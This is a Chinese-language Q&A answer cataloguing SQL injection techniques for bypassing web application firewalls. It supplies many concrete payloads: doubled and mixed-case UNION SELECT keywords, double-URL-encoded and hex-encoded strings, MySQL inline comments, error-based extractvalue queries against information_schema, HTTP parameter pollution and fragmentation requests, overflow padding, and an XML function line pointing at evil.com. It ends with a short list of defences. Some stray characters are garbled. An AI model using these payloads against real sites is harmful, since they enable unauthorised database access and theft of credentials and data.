sql注入绕过技术分析

sql注入绕过技术分析
最新回答
悦心自足

2020-05-21 00:34:30

SQL注入绕过技术主要针对WAF(Web应用防火墙)的防护机制,通过多种手段规避其规则检测,从而成功执行恶意SQL语句。以下是常见的SQL注入绕过技术分析:

一、基于规则变形的绕过技术
  1. 双写绕过

    原理:WAF可能仅过滤一次关键字,双写可还原被过滤字符。

    示例:aanndd 1=1 → 过滤后变为 and 1=1;or 被过滤时使用 oorr。

    适用场景:基于黑名单的简单规则匹配。

  2. 大小写绕过

    原理:WAF规则可能仅匹配小写或大写关键字。

    示例:uNIoN sELecT 1,2,3 → 部分WAF未处理大小写混合情况。

    限制:对大小写不敏感的正则表达式(如 /express/i)无效。

  3. 替换关键字

    原理:通过拆分或重复拼接关键字绕过替换规则。

    示例:UNIunionON SELselectECT 1,2,3 → 过滤后拼接为 UNION SELECT。

    变种:更复杂的变形如 SeLSeselectleCTecT。

二、基于编码的绕过技术
  1. URL编码

    原理:服务器自动解码URL,腔大双重编码可绕过单次过滤。

    示例:and 两次全编码为 %25%36%31%25%36%65%25%36%34。

    注意:需使用全编码而非普通URL编码。

  2. 十六进制/Unicode编码

    原理:将字符转换为十耐吵六进制或Unicode编码形式。

    示例

    十六进制:/*!u%6eion*/ /*!se%6cect*/

    Unicode:单引号 %u0027、空格 %u0020。

    应用:宽字节注入(如 %D6%5C 构成单引号)。

  3. 其他编码

    二进制/八进制:较少使用,但可能绕过特定规则。

    UTF-7/16/32:历史案例中曾绕过Google的防护。

三、基于注释的绕过技术
  1. 普通注释

    符号://, --, //, #, ; 等。

    示例

    union%a0select pass from users#

    z.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4

    作用昌圆侍:拆分关键字或规避空格检测。

  2. 内联注释

    原理:/*!*/ 仅MySQL识别,可隐藏恶意代码。

    示例

    /*!UNION*/ /*!SELECT*/ 1,2,3

    ?page_id=null%0A///*!50000%55nIOn*//*yoyu*/all//%0A/*!%53eLE ct*/%0A/*nnaa*/+1,2,3,4

四、基于等价替换的绕过技术
  1. 函数替换

    示例

    hex()/bin() → ascii()

    sleep() → benchmark()

    concat_ws() → group_concat()

    系统变量:@@user → user(),@@datadir → datadir()。

  2. 符号替换

    逻辑运算符:&&/|| 替代 and/or。

    比较运算符:</> 替代 =(如 id=1 or 1!=2)。

    空格替代:%20, %09, %0a, // 等。

  3. 生僻函数

    XML函数(MySQL/PostgreSQL):

    Select UpdateXML('<script x=_></script>', '/script/@x/', 'src=//evil.com');

    错误注入

    ?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
五、基于特殊符号的绕过技术
  1. 反引号

    作用:替代空格或作为注释符。

    示例:select version()。

  2. 连接符

    符号:+, -, . 用于字符串连接。

    示例:select+id-1+1.from users。

  3. 变量符号

    @:用户定义变量(如 @var_name),系统变量(如 @@version)。

    示例:select@^1.from users。

六、基于HTTP参数的绕过技术
  1. HTTP参数污染(HPP)

    原理:提交多个同名参数,不同Web服务器解析逻辑不同。

    示例

    /?id=1;select+1,2,3+from+users+where+id=1--

    /?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users

  2. HTTP参数分割(HPF)

    原理:利用控制字符(如 %0a, %0d)分割参数。

    示例

    /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
  3. HTTP参数污染(HPC)

    原理:利用保留字符(如 ;, /, ?, @)构造特殊请求。

    示例:Asp.net 对 % 符号的处理可能引发异常。

七、高级绕过技术
  1. 缓冲区溢出

    原理:针对C语言编写的WAF,通过超长输入触发溢出。

    示例

    ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),...
  2. 整合绕过

    原理:结合多种技术(如编码+注释+HPP)。

    示例

    target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..1000 "A"..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4
八、防御建议
  1. 过滤危险字符

    使用正则表达式匹配 union, sleep, load_file 等关键字。

  2. 预编译语句

    采用PDO预编译,避免变量直接拼接SQL。

  3. WAF规则更新

    定期维护规则库,覆盖新型绕过技术。

  4. 最小权限原则

    数据库用户仅授予必要权限,限制高危操作(如文件读写)。

通过理解这些绕过技术,开发者可更有效地设计防护策略,而攻击者则需谨慎使用,避免触犯法律。